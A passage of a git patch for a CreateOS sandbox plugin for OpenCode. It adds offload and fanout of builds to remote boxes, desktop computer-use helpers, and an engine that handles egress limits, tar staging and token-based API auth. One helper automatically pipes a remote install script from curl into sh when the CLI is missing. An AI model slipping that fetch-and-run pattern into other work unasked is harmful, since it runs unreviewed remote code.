); + if (res.ok) return; + if ([401, 403, 501].includes(res.status)) { + throw apiError(res.status, await res.text(), "desktop readiness"); + } + await sleep(2000); + } + throw new Error(`The desktop did not come up within ${timeoutSec}s on ${id} (${screen})`); +} + +/** Mint a live noVNC URL for a screen. Requires ingress to be on. */ +export async function desktopConnect( + id: string, + screen = "screen-0", +): Promise<{ url: string; expiresAt: string }> { + const enabled = cli(["sandbox", "edit", id, "--ingress", "on"]); + if (enabled.code !== 0) throw new Error(`Failed to enable ingress on ${id}`); + await desktopWait(id, screen); + const conn = await api( + "GET", + `/v1/sandboxes/${encodeURIComponent(id)}/computer/screens/${encodeURIComponent(screen)}/connect`, + ); + if (!conn?.url) { + throw new Error(`connect returned no URL — fc only mints one when ingress is enabled on ${id}`); + } + return { url: conn.url, expiresAt: conn.expires_at ?? "unknown" }; +} + +export type ComputerOp = + | { op: "screen" } + | { op: "cursor" } + | { op: "windows" } + | { op: "move"; x: number; y: number } + | { op: "click"; x?: number; y?: number } + | { op: "type"; text: string } + | { op: "key"; keys: string[] } + | { op: "open"; target: string }; + +/** Send one computer-use action to the desktop in a box. */ +export async function computer(id: string, action: ComputerOp, screen = "screen-0"): Promise { + const base = `/v1/sandboxes/${encodeURIComponent(id)}/computer`; + const q = `screen_id=${encodeURIComponent(screen)}`; + switch (action.op) { + case "screen": + return api("GET", `${base}/screen?${q}`); + case "cursor": + return api("GET", `${base}/cursor?${q}`); + case "windows": + return api("GET", `${base}/windows?${q}`); + case "move": + return api("POST", `${base}/mouse/move?${q}`, { x: action.x, y: action.y }); + case "click": + return api( + "POST", + `${base}/mouse/click?${q}`, + action.x === undefined ? {} : { x: action.x, y: action.y }, + ); + case "type": + return api("POST", `${base}/keyboard/type?${q}`, { text: action.text }); + case "key": + return api("POST", `${base}/keyboard/press?${q}`, { keys: action.keys }); + case "open": + return api("POST", `${base}/open?${q}`, { target: action.target }); + } +} + +/** Capture a screenshot to a local path. Returns that path. */ +export async function screenshot( + id: string, + outPath: string, + screen = "screen-0", +): Promise { + const res = await fetch( + `${apiBase()}/v1/sandboxes/${encodeURIComponent(id)}/computer/screenshot?screen_id=${encodeURIComponent(screen)}`, + { + headers: apiAuth(), + }, + ); + if (!res.ok) throw apiError(res.status, await res.text(), "screenshot"); + writeFileSync(outPath, Buffer.from(await res.arrayBuffer())); + return outPath; +} From 98f977513b0d623f5b3e8a8fe500e1f2f57e0a2b Mon Sep 17 00:00:00 2001 From: pratikbin <68642400+pratikbin@users.noreply.github.com> Date: Thu, 10 Sep 2026 17:55:09 +0530 Subject: [PATCH 3/7] feat(opencode): add offload, fanout and desktop tools Adds sandbox_offload, sandbox_fanout, sandbox_desktop, sandbox_computer and sandbox_screenshot over the shared engine, taking the plugin from 33 to 38 tools. The compaction context now carries the verb rule as well, so "work with a finish line goes to sandbox_offload" survives a compact instead of the agent falling back to create plus exec. --- packages/opencode-plugin/README.md | 56 +- packages/opencode-plugin/index.ts | 4 + packages/opencode-plugin/package.json | 4 +- .../opencode-plugin/src/sandbox-engine.ts | 856 ++++++++++++++++++ packages/opencode-plugin/src/tools.ts | 240 +++++ 5 files changed, 1151 insertions(+), 9 deletions(-) create mode 100644 packages/opencode-plugin/src/sandbox-engine.ts diff --git a/packages/opencode-plugin/README.md b/packages/opencode-plugin/README.md index 915bfa3..daa60d8 100644 --- a/packages/opencode-plugin/README.md +++ b/packages/opencode-plugin/README.md @@ -3,8 +3,9 @@ OpenCode plugin that runs all tool calls inside a remote [CreateOS Sandbox](https://createos.sh) while the agent runs locally. -CLI-only — every operation shells out to the `createos` CLI. No HTTP client, -no API keys. Auth is handled by `createos login`. +Every operation shells out to the `createos` CLI, except computer-use — the CLI +has no `sandbox computer` command yet, so those calls go straight to the REST +API. Auth is handled by `createos login`. ``` OpenCode agent (local) → createos CLI → CreateOS API → Sandbox (remote VM) @@ -50,7 +51,7 @@ cd packages/opencode-plugin && bun install ## How it works -1. Plugin loads and registers 33 `sandbox_*` tools +1. Plugin loads and registers 38 `sandbox_*` tools 2. System prompt is injected into all agents telling them to use `sandbox_exec` for all shell commands instead of the built-in `bash` tool 3. On first tool call, a sandbox is created automatically @@ -67,7 +68,39 @@ Environment variables: | `CREATEOS_SHAPE` | `s-2vcpu-2gb` | Sandbox VM size | | `CREATEOS_ROOTFS` | `devbox:1` | Base image for the sandbox | -## Tool inventory (33 tools) +## Offloading vs. driving a box + +Two shapes of work, two tools. Getting this wrong is the most common mistake: + +| Work | Tool | +| ------------------------------------------------------------ | --------------------------------------------------------- | +| Has a finish line — a build, a test suite, a script | `sandbox_offload` — one call, box destroyed afterwards | +| Several variants of that at once — shards, a config matrix | `sandbox_fanout` — one throwaway box per command | +| Outlives one command — a dev server, a watcher, a session | `sandbox_create` + `sandbox_exec`, then `sandbox_destroy` | + +`sandbox_offload` is not a convenience wrapper over create + exec. It carries the +things a hand-rolled sequence silently drops: egress restricted to the domains a +build actually needs, a keepalive so a dropped stream does not kill a long build, +guaranteed destruction even when the command throws, and staging excludes that +keep `.git`, `node_modules`, `target` and large media off the wire. + +## Tool inventory (38 tools) + +### Offload engine + +| Tool | Description | +| -------------------- | ---------------------------------------------------------------------------- | +| `sandbox_offload` | Stage a directory, run a command, pull artifacts, destroy the box | +| `sandbox_fanout` | Run each of several commands in its own throwaway box, in parallel | + +### Desktop / computer use + +| Tool | Description | +| -------------------- | ---------------------------------------------------------------------------- | +| `sandbox_desktop` | Mint a live noVNC URL for a `desktop:1` box so the user can watch or drive it | +| `sandbox_computer` | One computer-use action: screen, cursor, windows, move, click, type, key, open | +| `sandbox_screenshot` | Capture the desktop as a PNG and return its local path | + ### Execute & Files @@ -163,11 +196,20 @@ packages/opencode-plugin/ ├── README.md # This file ├── tsconfig.json └── src/ - ├── cli.ts # All createos CLI wrappers (execSync-based) - ├── tools.ts # 33 tool definitions using tool() + tool.schema.* - └── util.ts # shellQuote, shortId, joinPath + ├── cli.ts # All createos CLI wrappers (execSync-based) + ├── sandbox-engine.ts # copy — canonical lives in packages/shared/ + ├── tools.ts # 38 tool definitions using tool() + tool.schema.* + └── util.ts # shellQuote, shortId, joinPath ``` +## Shared engine + +`src/sandbox-engine.ts` is a copy. The canonical file is +`packages/shared/sandbox-engine.ts`; `scripts/sync-shared.sh` writes the copies +and CI fails on drift, so edit the canonical one. It is a TypeScript port of the +`cos` bash driver that the Claude Code and Codex plugins run — the two are meant +to behave identically, so a change to one belongs in the other. + ## License Apache-2.0 diff --git a/packages/opencode-plugin/index.ts b/packages/opencode-plugin/index.ts index 7ee79d1..d731a7b 100644 --- a/packages/opencode-plugin/index.ts +++ b/packages/opencode-plugin/index.ts @@ -121,6 +121,10 @@ export const CreateOSPlugin: Plugin = async ({ project, client, $, directory }) `All tools run remotely in this sandbox.\n` + `\n` + `Quick rules:\n` + + `- Work with a finish line (a build, a test suite, a script) → sandbox_offload dir="${hostCwd}" command="…". ` + + `ONE call: it creates the box, stages the dir, runs, and destroys the box. Do not hand-roll that out of ` + + `sandbox_create + sandbox_exec — that drops egress restriction, the keepalive, and the guaranteed destroy.\n` + + `- Several variants of that at once (shards, a config matrix) → sandbox_fanout\n` + `- "mount/sync this dir" → sandbox_sync local_dir="${hostCwd}" remote_dir="/root/project"\n` + `- Port access → sandbox_preview_url (public URL) > sandbox_tunnel (localhost) > device VPN (last resort)\n` + `- Multi-node → sandbox_network_create + sandbox_create with network + sandbox_exec on other sandboxes`, diff --git a/packages/opencode-plugin/package.json b/packages/opencode-plugin/package.json index 6b4eb12..ee49011 100644 --- a/packages/opencode-plugin/package.json +++ b/packages/opencode-plugin/package.json @@ -1,13 +1,13 @@ { "name": "@createos/opencode", - "version": "0.1.0", + "version": "0.2.0", "description": "OpenCode plugin that runs all tool calls inside a remote CreateOS Sandbox", "type": "module", "main": "dist/index.js", "module": "dist/index.js", "repository": { "type": "git", - "url": "git+https://github.com/NodeOps-app/createos-claude-plugins.git", + "url": "git+https://github.com/NodeOps-app/createos-plugin.git", "directory": "packages/opencode-plugin" }, "author": "CreateOS", diff --git a/packages/opencode-plugin/src/sandbox-engine.ts b/packages/opencode-plugin/src/sandbox-engine.ts new file mode 100644 index 0000000..6892fb6 --- /dev/null +++ b/packages/opencode-plugin/src/sandbox-engine.ts @@ -0,0 +1,856 @@ +/** + * sandbox-engine.ts — the `cos` driver's semantics, in TypeScript. + * + * CANONICAL COPY: packages/shared/sandbox-engine.ts. The copies under + * packages//src/ are written by scripts/sync-shared.sh and CI fails on + * drift — edit this file, then run the script. + * + * Why it exists: driving `createos sandbox create/push/exec/rm` directly looks + * equivalent to an offload and is not. It drops egress restriction, the + * keepalive that survives a dropped exec stream on a long build, guaranteed + * auto-destroy, and the staging excludes that keep a 2 GB `.git` off the wire. + * Ported from packages/claude-code-plugin/scripts/cos — keep the two in step. + * + * Self-contained on purpose: no harness imports, no dependencies, so the same + * file drops into any TypeScript plugin. + */ + +import { execSync } from "node:child_process"; +import { existsSync, readFileSync, writeFileSync } from "node:fs"; +import { homedir } from "node:os"; + +// --------------------------------------------------------------------------- +// Shared constants — mirrored from cos +// --------------------------------------------------------------------------- + +/** Registries + CDNs a build of that ecosystem actually reaches. */ +export const EGRESS_PRESETS: Record = { + "python-uv": ["astral.sh", "releases.astral.sh", "pypi.org", "files.pythonhosted.org"], + "rust-cargo": [ + "crates.io", + "static.crates.io", + "index.crates.io", + "static.rust-lang.org", + "cdn.pyke.io", + ], + npm: ["registry.npmjs.org"], + github: [ + "github.com", + "objects.githubusercontent.com", + "raw.githubusercontent.com", + "codeload.github.com", + ], +}; + +/** Never staged unless the caller asks: VCS metadata, build output, big media. */ +export const DEFAULT_EXCLUDES = [ + ".git", + "target", + "node_modules", + "__pycache__", + ".venv", + ".mypy_cache", + ".pytest_cache", + ".gradle", + ".cargo/registry", + "dist", + "build", + ".next", + ".turbo", + "*.gif", + "*.mp4", + "*.mov", + "*.zst", +]; + +const CREATEOS_DIR = `${homedir()}/.createos`; +const REMOTE_RC = "/tmp/.cos-run.rc"; +const REMOTE_PID = "/tmp/.cos-run.pid"; +const REMOTE_LOG = "/tmp/.cos-run.log"; + +// --------------------------------------------------------------------------- +// Shell + CLI plumbing +// --------------------------------------------------------------------------- + +export interface ExecResult { + code: number; + stdout: string; + stderr: string; +} + +function shq(arg: string): string { + return `'${arg.replace(/'/g, `'\\''`)}'`; +} + +/** + * Runs under bash with `pipefail`, matching the `cos` driver's `set -euo pipefail`. + * + * This is load-bearing, not tidiness. Both pipelines here put `createos` on one + * side of a pipe and `tar` on the other, and GNU tar writes a well-formed EMPTY + * archive when the path it was asked for is missing — so the receiving tar + * succeeds, the default /bin/sh pipeline reports the exit status of that last + * command only, and a failed artifact pull reads as a successful one. The box + * holding the only copy of the output then gets destroyed. Verified against a + * live sandbox: remote `tar -c no-such-dir` exits 2, receiving tar exits 0. + */ +export function execShell(cmd: string, timeoutMs = 120_000): ExecResult { + try { + const stdout = execSync(`set -o pipefail; ${cmd}`, { + shell: "/bin/bash", + encoding: "utf-8", + timeout: timeoutMs, + maxBuffer: 64 * 1024 * 1024, + stdio: ["pipe", "pipe", "pipe"], + }); + return { code: 0, stdout, stderr: "" }; + } catch (err: any) { + return { + code: err.status ?? 1, + stdout: err.stdout?.toString() ?? "", + stderr: err.stderr?.toString() ?? "", + }; + } +} + +function cliCmd(args: string[]): string { + return ["createos", ...args.map((a) => (a === "--" ? "--" : shq(a)))].join(" "); +} + +function cli(args: string[], timeoutMs?: number): ExecResult { + return execShell(cliCmd(args), timeoutMs); +} + +/** + * `createos login` is an interactive TTY prompt that opens a browser, so an + * agent shell cannot fix a missing session itself. Fail with the two options a + * user can actually act on rather than with a raw CLI error. + */ +export function assertAuth(): void { + if (cli(["-o", "json", "sandbox", "shapes"]).code === 0) return; + throw new Error( + "Not signed in to CreateOS. Ask the user to either run `createos login` in their own " + + "terminal (browser OAuth), or export CREATEOS_API_KEY in the shell that launched the " + + "agent. Never ask them to paste an API key into the conversation.", + ); +} + +const CLI_INSTALL_URL = + "https://raw.githubusercontent.com/NodeOps-app/createos-cli/main/install.sh"; + +/** Install the createos CLI if it is missing. Opt out with COS_NO_AUTOINSTALL=1. */ +export function ensureCLI(): boolean { + if (cli(["version"]).code === 0) return true; + if (process.env.COS_NO_AUTOINSTALL) return false; + execShell(`curl -sfL ${shq(CLI_INSTALL_URL)} | sh -`, 300_000); + return cli(["version"]).code === 0; +} + +// --------------------------------------------------------------------------- +// Box lifecycle +// --------------------------------------------------------------------------- + +export interface SandboxRow { + id: string; + name?: string; + status?: string; + [key: string]: unknown; +} + +function listBoxes(): SandboxRow[] { + const res = cli(["-o", "json", "sandbox", "ls"]); + if (res.code !== 0) return []; + try { + const parsed = JSON.parse(res.stdout); + return Array.isArray(parsed) ? parsed : (parsed.data ?? []); + } catch { + return []; + } +} + +export function boxStatus(id: string): string | undefined { + return listBoxes().find((b) => b.id === id)?.status; +} + +function sleep(ms: number): Promise { + return new Promise((r) => setTimeout(r, ms)); +} + +/** Poll until the box reports `running` — a race guard before the first push. */ +export async function waitRunning(id: string, timeoutSec = 30): Promise { + for (let i = 0; i < timeoutSec; i++) { + if (boxStatus(id) === "running") return true; + await sleep(1000); + } + return false; +} + +export interface EgressOptions { + /** Explicit domains to allow. */ + egress?: string[]; + /** Preset names from EGRESS_PRESETS; composes with `egress`. */ + egressPresets?: string[]; + /** Unrestricted egress — only for a trusted offload. */ + egressAll?: boolean; +} + +export function egressArgs(opts: EgressOptions): { args: string[]; warning?: string } { + if (opts.egressAll) return { args: [], warning: undefined }; + const domains = [ + ...(opts.egress ?? []), + ...(opts.egressPresets ?? []).flatMap((p) => { + const preset = EGRESS_PRESETS[p]; + if (!preset) { + throw new Error( + `Unknown egress preset '${p}' — have: ${Object.keys(EGRESS_PRESETS).join(", ")}`, + ); + } + return preset; + }), + ]; + if (domains.length === 0) { + return { + args: [], + warning: + "egress UNRESTRICTED — the box can reach any host. Restrict it with egressPresets or egress.", + }; + } + return { args: domains.flatMap((d) => ["--egress", d]) }; +} + +export interface CreateBoxOptions extends EgressOptions { + name: string; + shape?: string; + rootfs?: string; + network?: string; + /** Idle auto-pause backstop so a forgotten box parks itself. */ + autoPause?: string; +} + +export function createBox(opts: CreateBoxOptions): { id: string; warning?: string } { + const shape = opts.shape ?? "s-1vcpu-1gb"; + const rootfs = opts.rootfs ?? "devbox:1"; + const { args: eArgs, warning } = egressArgs(opts); + + const args = [ + "sandbox", + "create", + "--name", + opts.name, + "--shape", + shape, + "--rootfs", + rootfs, + "--auto-pause", + opts.autoPause ?? "30m", + ...(opts.network ? ["--network", opts.network] : []), + ...eArgs, + ]; + + const res = execShell(`NO_COLOR=1 TERM=dumb ${cliCmd(args)}`); + if (res.code !== 0) { + const err = `${res.stdout}\n${res.stderr}`; + // The CLI names the allowed shapes in the rejection; surfacing that list is + // the difference between a fixable error and "create failed". + const choices = /choices: ?\[([^\]]*)\]/.exec(err); + if (choices) { + throw new Error( + `Shape '${shape}' is not allowed on this plan. Allowed: ${choices[1]} ` + + `(list them with \`createos sandbox shapes\`)`, + ); + } + throw new Error(`Sandbox create failed: ${err.trim().split("\n").slice(-3).join(" ")}`); + } + + const id = listBoxes().find((b) => b.name === opts.name)?.id; + if (!id) throw new Error(`Created box '${opts.name}' but could not resolve its id`); + return { id, warning }; +} + +/** + * Destroying a box is the one step whose failure is invisible: the offload has + * already produced its answer, so a swallowed error here reads as success while + * the box keeps running and billing. Report it instead of discarding it. + */ +export function destroyBox(id: string): { ok: boolean; error?: string } { + const res = cli(["sandbox", "rm", "-y", id]); + if (res.code === 0) return { ok: true }; + return { ok: false, error: (res.stderr || res.stdout).trim().split("\n").slice(-1)[0] }; +} + +// --------------------------------------------------------------------------- +// Staging +// --------------------------------------------------------------------------- + +/** + * tar the directory straight into the box. The stream is piped, so a large tree + * never lands on disk twice, and the excludes are applied before the bytes are + * sent rather than after. + */ +export function stage(id: string, dir: string, extraExcludes: string[] = []): void { + const excludes = [...DEFAULT_EXCLUDES, ...extraExcludes] + .map((p) => `--exclude ${shq(p)}`) + .join(" "); + const push = execShell( + `tar ${excludes} -c -C ${shq(dir)} . | ${cliCmd(["sandbox", "push", id, "-", "/work.tar"])}`, + 600_000, + ); + if (push.code !== 0) { + throw new Error(`Staging ${dir} failed: ${(push.stderr || push.stdout).trim()}`); + } + const extract = cli([ + "sandbox", + "exec", + id, + "--", + "bash", + "-lc", + "mkdir -p /work && tar -C /work -xf /work.tar && rm -f /work.tar", + ]); + if (extract.code !== 0) { + throw new Error(`Extracting the staged archive failed: ${extract.stderr.trim()}`); + } +} + +/** Pull a path under /work back into the local directory. */ +export function pullArtifacts(id: string, dir: string, out: string): boolean { + // Probe first: pipefail catches the remote tar's failure, but an explicit + // existence check is what makes the warning's "does /work/ exist?" + // actually true, and it costs one exec. + const probe = cli(["sandbox", "exec", id, "--", "bash", "-lc", `ls -d /work/${out}`]); + if (probe.code !== 0) return false; + const res = execShell( + `${cliCmd(["sandbox", "exec", id, "--", "bash", "-lc", `cd /work && tar -c ${out}`])} | tar -x -C ${shq(dir)}`, + 600_000, + ); + return res.code === 0; +} + +// --------------------------------------------------------------------------- +// Keepalive exec +// --------------------------------------------------------------------------- + +export interface KeepaliveResult { + /** Real exit code of the command, or undefined when the box never reported one. */ + exitCode?: number; + log: string; + /** The command's process vanished without writing an exit code. */ + infraFailure: boolean; +} + +/** + * Run a command in the box so that it survives the exec stream dying. + * + * The command is detached under nohup and writes its exit code to a file; this + * side only polls for that file. A dropped connection mid-build therefore costs + * one poll, not the build — which is the entire reason offload does not just + * call `createos sandbox exec` and read the pipe. + */ +export async function runKeepalive( + id: string, + command: string, + workdir = "/work", + opts: { pollMs?: number; timeoutMs?: number } = {}, +): Promise { + const pollMs = opts.pollMs ?? 5_000; + const deadline = Date.now() + (opts.timeoutMs ?? 6 * 60 * 60 * 1000); + const b64 = Buffer.from(command, "utf-8").toString("base64"); + + const runner = + `CMD=$(printf %s "$1" | base64 -d); cd "\${2:-$HOME}" 2>/dev/null || cd /; ` + + `rm -f ${REMOTE_RC} ${REMOTE_PID}; ` + + `nohup bash -c 'bash -lc "$0"; echo $? > ${REMOTE_RC}' "$CMD" > ${REMOTE_LOG} 2>&1 ${REMOTE_PID}`; + + const started = cli(["sandbox", "exec", id, "--", "bash", "-lc", runner, "_", b64, workdir]); + if (started.code !== 0) { + throw new Error(`Failed to start the remote command: ${started.stderr.trim()}`); + } + + while (Date.now() < deadline) { + await sleep(pollMs); + const rc = cli(["sandbox", "exec", id, "--", "bash", "-c", `cat ${REMOTE_RC} 2>/dev/null`]); + const parsed = rc.stdout.replace(/\D/g, "").slice(0, 4); + if (rc.code === 0 && parsed !== "") { + return { exitCode: Number(parsed), log: tailLog(id), infraFailure: false }; + } + const alive = cli([ + "sandbox", + "exec", + id, + "--", + "bash", + "-lc", + `p=$(cat ${REMOTE_PID} 2>/dev/null); { [ -n "$p" ] && kill -0 "$p" 2>/dev/null && echo ALIVE; } || echo DEAD`, + ]); + // A failed poll is not a dead build — the CLI call itself can drop. Only a + // definite DEAD with no exit code means the process is gone. + if (alive.code === 0 && alive.stdout.includes("DEAD")) { + return { exitCode: undefined, log: tailLog(id), infraFailure: true }; + } + } + return { exitCode: undefined, log: tailLog(id), infraFailure: true }; +} + +function tailLog(id: string, lines = 200): string { + const res = cli(["sandbox", "exec", id, "--", "bash", "-c", `tail -n ${lines} ${REMOTE_LOG}`]); + return res.stdout.trimEnd(); +} + +// --------------------------------------------------------------------------- +// One-shot offload +// --------------------------------------------------------------------------- + +export interface OffloadOptions extends EgressOptions { + /** Local directory staged to /work in the box. */ + dir: string; + command: string; + shape?: string; + rootfs?: string; + /** Extra upload excludes on top of DEFAULT_EXCLUDES. */ + exclude?: string[]; + /** Path under /work to pull back into `dir` when the command finishes. */ + out?: string; + /** GB of swap to add before running — OOM headroom for compiled builds. */ + swapGB?: number; + /** Keep the box when the command exits non-zero, for debugging. */ + keepOnFail?: boolean; + timeoutMs?: number; +} + +export interface OffloadResult { + sandboxId: string; + exitCode?: number; + log: string; + /** The box was deliberately left running; the caller must say so. */ + kept: boolean; + warnings: string[]; + pulledArtifacts?: boolean; +} + +export interface RetentionState { + sandboxId: string; + /** The command's process vanished without writing an exit code. */ + infraFailure: boolean; + exitCode?: number; + keepOnFail?: boolean; + /** An `out` was requested and the download did not succeed. */ + artifactPullFailed?: boolean; + out?: string; + dir?: string; +} + +/** + * Every reason the box must outlive the offload, as caller-facing text. An + * empty list means it is safe to destroy — that is the ONLY thing that + * authorises deletion. + * + * This is a pure function because it is the decision that loses data when it is + * wrong: a box torn down after a failed download takes the only complete copy + * of the build output with it, and no error is raised at the time. + */ +export function retentionReasons(state: RetentionState): string[] { + const reasons: string[] = []; + + if (state.infraFailure) { + reasons.push( + `infra/stream failure — box ${state.sandboxId} kept so the build cache survives. ` + + `Reconnect: createos sandbox exec --stream ${state.sandboxId} -- bash -lc 'tail -f ${REMOTE_LOG}'. ` + + `Destroy: createos sandbox rm -y ${state.sandboxId}`, + ); + } else if (state.exitCode !== 0 && state.keepOnFail) { + reasons.push( + `command exited ${state.exitCode} — box ${state.sandboxId} kept. ` + + `Destroy: createos sandbox rm -y ${state.sandboxId}`, + ); + } + + // Deliberately not an `else`: the output is still on the box whatever the + // exit code was, and destroying it is unrecoverable. + if (state.artifactPullFailed) { + const out = state.out ?? "the requested path"; + reasons.push( + `pull of '${out}' FAILED — artifacts were NOT retrieved, so box ${state.sandboxId} is KEPT ` + + `rather than destroyed with the only copy on it. Check that /work/${out} exists, then retry: ` + + `createos sandbox exec ${state.sandboxId} -- bash -lc 'cd /work && tar -c ${out}' | tar -x -C ${state.dir ?? "."}. ` + + `Destroy when you have what you need: createos sandbox rm -y ${state.sandboxId}`, + ); + } + + return reasons; +} + +/** + * A teardown that fails leaves the box running and billing, so it must reach + * the caller as loudly as a retained box does — `kept` becomes true because the + * box really is still there, whatever the caller asked for. + */ +export function cleanupFailureNote(sandboxId: string, error?: string): string { + return ( + `cleanup FAILED — sandbox ${sandboxId} is STILL ALLOCATED and still costing. ` + + `Destroy it by hand: createos sandbox rm -y ${sandboxId}` + + (error ? ` (${error})` : "") + ); +} + +/** + * Stage → run (keepalive) → pull → destroy, in one call. + * + * The box is torn down on every path, including a throw — but only when + * retentionReasons() says nothing needs it: an infra failure keeps the build + * cache, `keepOnFail` keeps a failed run for debugging, and a failed artifact + * pull keeps the only copy of the output. A teardown that itself fails is + * reported rather than swallowed, since the box goes on billing either way. + */ +export async function offload(opts: OffloadOptions): Promise { + assertAuth(); + const warnings: string[] = []; + const shape = opts.shape ?? "s-1vcpu-1gb"; + + // A compiled build on a 1 GB box dies with OOM or ENOSPC halfway through, + // which reads as a code failure rather than an undersized box. + const heavy = /cargo|maturin|torch|pip install|uv sync|uv run|pyo3/.test(opts.command); + if (heavy && /256mb|512mb|-1gb/.test(shape) && !opts.swapGB) { + warnings.push( + `heavy build on a small box (${shape}) — risk of OOM/ENOSPC. Try shape 's-2vcpu-2gb' or swapGB: 4.`, + ); + } + + const name = `cos-o-${process.pid}-${Math.floor(Math.random() * 32768)}`; + const { id, warning } = createBox({ ...opts, name, shape }); + if (warning) warnings.push(warning); + + let kept = false; + let result: OffloadResult | undefined; + let thrown: unknown; + + try { + if (!(await waitRunning(id))) throw new Error(`Box ${id} was not running after 30s`); + stage(id, opts.dir, opts.exclude); + if (opts.swapGB) setupSwap(id, opts.swapGB); + + const run = await runKeepalive(id, opts.command, "/work", { timeoutMs: opts.timeoutMs }); + + let pulledArtifacts: boolean | undefined; + if (opts.out) pulledArtifacts = pullArtifacts(id, opts.dir, opts.out); + + const reasons = retentionReasons({ + sandboxId: id, + infraFailure: run.infraFailure, + exitCode: run.exitCode, + keepOnFail: opts.keepOnFail, + artifactPullFailed: pulledArtifacts === false, + out: opts.out, + dir: opts.dir, + }); + kept = reasons.length > 0; + warnings.push(...reasons); + + result = { + sandboxId: id, + exitCode: run.exitCode, + log: run.log, + kept, + warnings, + pulledArtifacts, + }; + } catch (error) { + thrown = error; + } + + // Not in `finally`: a failed teardown has to reach the caller, and swallowing + // it there is exactly how a box keeps billing while the result says destroyed. + if (!kept) { + const destroyed = destroyBox(id); + if (!destroyed.ok) { + const note = cleanupFailureNote(id, destroyed.error); + if (result) { + result.kept = true; + result.warnings.push(note); + } else { + thrown = new Error( + `${thrown instanceof Error ? thrown.message : String(thrown)} — ${note}`, + ); + } + } + } + + if (thrown) throw thrown; + return result as OffloadResult; +} + +function setupSwap(id: string, gb: number): void { + if (!Number.isInteger(gb) || gb < 1 || gb > 64) { + throw new Error(`swapGB must be a whole number of GB between 1 and 64, got ${gb}`); + } + cli([ + "sandbox", + "exec", + id, + "--", + "bash", + "-lc", + `swapon --show 2>/dev/null | grep -q /cos.swap && exit 0; ` + + `( fallocate -l ${gb}G /cos.swap 2>/dev/null || dd if=/dev/zero of=/cos.swap bs=1M count=$(( ${gb}*1024 )) status=none 2>/dev/null ) ` + + `&& chmod 600 /cos.swap && mkswap /cos.swap >/dev/null 2>&1 && swapon /cos.swap 2>/dev/null || true`, + ]); +} + +// --------------------------------------------------------------------------- +// Fanout +// --------------------------------------------------------------------------- + +export interface FanoutOptions extends Omit { + commands: string[]; + /** Max boxes running at once. External keys have been observed to allow 2. */ + jobs?: number; +} + +export interface FanoutResult extends OffloadResult { + command: string; +} + +/** + * Run each command in its own throwaway box, `jobs` at a time. + * + * Concurrency is capped rather than unbounded because the control plane limits + * how many boxes an account may run at once — an unbounded fan-out just + * converts that limit into a pile of create failures. + */ +export async function fanout(opts: FanoutOptions): Promise { + const jobs = Math.max(1, opts.jobs ?? 2); + const queue = opts.commands.map((command, index) => ({ command, index })); + const results: FanoutResult[] = Array.from({ length: opts.commands.length }); + + async function worker(): Promise { + for (;;) { + const item = queue.shift(); + if (!item) return; + try { + const res = await offload({ ...opts, command: item.command }); + results[item.index] = { ...res, command: item.command }; + } catch (err: any) { + results[item.index] = { + command: item.command, + sandboxId: "", + exitCode: undefined, + log: String(err?.message ?? err), + kept: false, + warnings: ["offload threw before the command ran"], + }; + } + } + } + + await Promise.all(Array.from({ length: Math.min(jobs, queue.length) }, worker)); + return results; +} + +// --------------------------------------------------------------------------- +// Desktop / computer use +// --------------------------------------------------------------------------- + +/** + * `createos` has no computer or desktop command, so this is the only place the + * engine talks to the REST API directly. When the CLI grows a `sandbox + * computer` group, delete apiAuth()/api() and shell out like everything else. + */ +function apiBase(): string { + return process.env.CREATEOS_SANDBOX_URL ?? "https://api.sb.createos.sh"; +} + +/** + * Auth precedence MUST match the CLI's: an OAuth session wins, an api key is + * the fallback. Inverting it authenticates these calls as a different identity + * than every CLI-driven verb, and the symptom is a 404 on a box this process + * just created — which reads like a missing box, not an auth mismatch. + * + * fc rejects `Bearer` on user-facing routes and rejects a JWT sent under + * X-Api-Key, so the two headers are not interchangeable. + */ +function apiAuth(): Record { + const oauthPath = `${CREATEOS_DIR}/.oauth`; + if (existsSync(oauthPath)) { + try { + const oauth = JSON.parse(readFileSync(oauthPath, "utf-8")); + const expiresAt = Number(oauth.expires_at ?? 0); + // No refresh implementation here on purpose: the CLI refreshes in its own + // pre-flight and rewrites ~/.createos/.oauth, so poke it and re-read + // rather than carrying a second, subtly different refresh. + if (Date.now() / 1000 >= expiresAt - 60) { + cli(["-o", "json", "sandbox", "ls"]); + } + const token = JSON.parse(readFileSync(oauthPath, "utf-8")).access_token; + if (token) return { "X-Access-Token": token }; + } catch { + // fall through to key-based auth + } + } + if (process.env.CREATEOS_API_KEY) return { "X-Api-Key": process.env.CREATEOS_API_KEY }; + const tokenPath = `${CREATEOS_DIR}/.token`; + if (existsSync(tokenPath)) { + return { "X-Api-Key": readFileSync(tokenPath, "utf-8").trim() }; + } + throw new Error("Not signed in — run `createos login` or export CREATEOS_API_KEY"); +} + +/** + * Map the computer API's codes onto something actionable. Worth doing by hand: + * `desktop_unavailable` is fc's catch-all for every X failure, so the raw + * message never says whether the desktop is still booting or the action failed + * on a live desktop. + */ +function apiError(status: number, body: string, what: string): Error { + let message = ""; + try { + const parsed = JSON.parse(body); + message = parsed.message ?? parsed.error ?? ""; + } catch { + /* body was not JSON */ + } + switch (status) { + case 401: + case 403: + return new Error( + `Auth rejected (HTTP ${status}). The API key or browser session is invalid or expired — ` + + `ask the user to re-run \`createos login\`, or export CREATEOS_API_KEY.`, + ); + case 404: + return new Error( + `Not found (HTTP 404): ${message || what}. Either the box is gone, or it has no such ` + + `screen — computer-use needs a desktop image (start one with the desktop tool).`, + ); + case 409: + return new Error( + `The desktop did not answer (HTTP 409 ${message || "desktop_unavailable"}). fc returns ` + + `this both while the desktop is still booting AND when an action fails on a live ` + + `desktop, so do not read it as "the box is broken" — bring the desktop up first.`, + ); + case 429: + return new Error("Rate limited (429) — the control plane caps concurrent screenshots."); + case 501: + return new Error( + "501 desktop_tools_unavailable — this rootfs has no desktop tools. Recreate the box on the desktop image.", + ); + default: + return new Error(`API error HTTP ${status} on ${what}${message ? `: ${message}` : ""}`); + } +} + +async function api(method: string, path: string, body?: unknown): Promise { + const res = await fetch(`${apiBase()}${path}`, { + method, + headers: { + ...apiAuth(), + ...(body === undefined ? {} : { "Content-Type": "application/json" }), + }, + body: body === undefined ? undefined : JSON.stringify(body), + }); + const text = await res.text(); + if (!res.ok) throw apiError(res.status, text, `${method} ${path}`); + try { + const parsed = 